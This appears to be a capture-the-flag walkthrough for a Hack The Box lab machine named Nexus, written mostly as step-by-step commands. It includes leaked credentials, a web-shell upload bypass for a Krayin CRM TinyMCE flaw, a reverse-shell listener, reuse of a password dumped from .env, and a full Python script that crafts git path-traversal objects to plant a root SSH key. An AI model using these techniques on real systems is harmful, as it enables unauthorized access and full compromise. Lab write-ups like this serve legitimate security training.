

■ Nexus — Hack The Box Walkthrough

Machine: Nexus **IP:** 10.129.136.87 **Difficulty:** Easy **OS:** Linux (Ubuntu)

Step 1 — Reconnaissance

Findings: SSH (22) and HTTP (80, nginx redirecting to nexus.htb)

```
nmap -sCV 10.129.136.87 -o nmap.txt
```

Step 2 — Add Hosts & Fuzz Subdomains

Found: git.nexus.htb and billing.nexus.htb

```
echo "10.129.136.87 nexus.htb" | sudo tee -a /etc/hosts
```

```
ffuf -u http://nexus.htb -H "Host: FUZZ.nexus.htb" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -ac
```

```
echo "10.129.136.87 nexus.htb git.nexus.htb billing.nexus.htb" | sudo tee -a /etc/hosts
```

Step 3 — Gitea Enumeration

Browser: http://git.nexus.htb → Explore → repo admin/krayin-docker-setup

Credentials found: j.matthew@nexus.htb / N27xh!!2ucY04

```
git clone http://git.nexus.htb/admin/krayin-docker-setup
cd krayin-docker-setup
git status
git log --oneline
git diff 9b817fa 1615c46
```

Step 4 — Krayin CRM Login

Browser: http://billing.nexus.htb/

```
Username: j.matthew@nexus.htb
Password: N27xh!!2ucY04
```

Step 5 — Exploit CVE-2026-38526 (TinyMCE Upload RCE)

In the browser: Compose Mail → Insert/edit image → upload shell.png. Intercept POST /admin/tinymce/upload in Burp, modify the raw multipart filename/content type, forward, then copy the location URL from the JSON response.

```
cp ~/Desktop/shell.php ~/Desktop/shell.png

Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: application/x-php
```

Step 6 — Trigger Reverse Shell

Shell obtained as www-data.

```
nc -lvnp 4444

curl "http://billing.nexus.htb/storage/tinymce/<HASH>.php"

script /dev/null -c /bin/bash
```

Step 7 — Get DB Credentials → SSH as jones

The database password is reused for SSH access as jones. User flag is at /home/jones/user.txt.

```
cat /var/www/krayin/.env | grep DB_
```

```
DB_USERNAME=krayin
DB_PASSWORD=y27xb3ha!!74GbR
```

```
ssh jones@nexus.htb
cat /home/jones/user.txt
```

Step 8 — Privilege Escalation Enumeration

Found gitea-template-sync.timer running every 60 seconds.

```
id
whoami
systemctl list-timers
```

Step 9 — Generate SSH Key & Transfer Pubkey

Run the first two commands from Kali; verify the transferred public key from the jones SSH session.

```
ssh-keygen -t ed25519 -f /tmp/.k -N ""
scp /tmp/.k.pub jones@nexus.htb:/tmp/pubkey.txt

cat /tmp/pubkey.txt
```

Step 10 — Create Gitea Template Repository

```
Browser: http://git.nexus.htb
Login: jones / y27xb3ha!!74GbR
Create repository: ice
Enable: Make repository a template
```

Step 11 — Clone Repo & Prepare Payload

Run from the jones SSH session.

```
cd /tmp
rm -rf ice
git clone http://jones:'y27xb3ha!!74GbR'@localhost:3000/jones/ice.git
cd ice
touch README.md
```

Step 12 — Create build.py

Run from the jones SSH session.

```
cat > /tmp/build.py << 'PYEOF'
#!/usr/bin/env python3
import hashlib, zlib, os, subprocess, sys, time

def write_obj(data, t):
    h = ("%s %d" % (t, len(data))).encode() + b"\x00"
    s = h + data
    sha = hashlib.sha1(s).hexdigest()
    d = os.path.join(".git", "objects", sha[:2])
    os.makedirs(d, exist_ok=True)
    p = os.path.join(d, sha[2:])
    if not os.path.exists(p):
        open(p, "wb").write(zlib.compress(s))
    return sha

def entry(mode, name, sha):
    return ("%s %s" % (mode, name)).encode() + b"\x00" + bytes.fromhex(sha)

if not os.path.isdir(".git"):
    print("Run inside git repo"); sys.exit(1)

r = subprocess.run(["cat", "/tmp/pubkey.txt"], capture_output=True, text=True)
if r.returncode != 0:
    print("Need pubkey at /tmp/pubkey.txt"); sys.exit(1)

key = r.stdout.strip() + "\n"
blob = write_obj(key.encode(), "blob")
readme = write_obj(b"# Template\n", "blob")

ssh_t = write_obj(entry("100644", "authorized_keys", blob), "tree")
cur = write_obj(entry("40000", ".ssh", ssh_t), "tree")
fir = write_obj(entry("40000", "root", cur), "tree")

for i in range(4):
    fir = write_obj(entry("40000", "..", fir), "tree")

root = write_obj(entry("100644", "README.md", readme) + entry("40000", "..", fir), "tree")
ts = int(time.time())
```

```
c = "tree %s\nauthor x <x@x> %d +0000\ncommitter x <x@x> %d +0000\ninit\n" % (root, ts, ts)
sha = write_obj(c.encode(), "commit")

os.makedirs(os.path.join(".git", "refs", "heads"), exist_ok=True)
open(os.path.join(".git", "refs", "heads", "main"), "w").write(sha + "\n")
print("Done: " + sha)
PYEOF
```

Step 13 — Push Traversal Commit

Run from the jones SSH session.

```
cd /tmp/ice
git remote set-url origin http://jones:'y27xb3ha!!74GbR'@localhost:3000/jones/ice.git
python3 /tmp/build.py
git push -u origin main --force
```

Step 14 — Wait for Timer & Verify

Look for: synced: ../../../../root/.ssh/authorized_keys

```
sleep 65
cat /var/log/template-sync.log | tail -15
```

Step 15 — SSH as Root

Root shell obtained; root flag is at /root/root.txt.

```
ssh -i /tmp/.k root@nexus.htb
cat /root/root.txt
```

Flags

Flag	Path	Command
User	/home/jones/user.txt	cat /home/jones/user.txt
Root	/root/root.txt	cat /root/root.txt

Attack Chain Summary

1. Recon → nmap → find HTTP vhosts via ffuf
2. Credential leak → Gitea repo krayin-docker-setup → .env in git history
3. Foothold → Krayin CRM → CVE-2026-38526 TinyMCE upload → Burp filename bypass → www-data shell
4. Lateral → .env DB password reused for jones SSH → user flag
5. Privilege escalation → Gitea template sync traversal → write root SSH key → root flag

■ Nexus Owned — User + Root